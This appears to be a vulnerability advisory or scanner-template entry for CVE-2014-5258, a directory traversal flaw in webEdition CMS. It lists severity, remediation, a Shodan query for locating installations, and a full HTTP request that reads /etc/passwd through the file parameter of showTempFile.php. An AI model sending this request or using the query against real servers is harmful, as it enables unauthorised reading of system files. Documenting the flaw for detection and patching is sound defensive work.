| Title | webEdition 6.3.8.0 - Directory Traversal |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Upgrade to a patched version of webEdition or apply the necessary security patches to fix the directory traversal vulnerability. |
| CVSS Score | 4 |
| EPSS Score | 0.81937 |
| CVE ID | CVE-2014-5258 |
| CWE ID | CWE-22 |
| Shodan Query | cpe:"cpe:2.3:a:webedition:webedition_cms" |
| Tags | cve2014 cve edb packetstorm lfi webedition vuln |
A directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.
GET /webEdition/showTempFile.php?file=../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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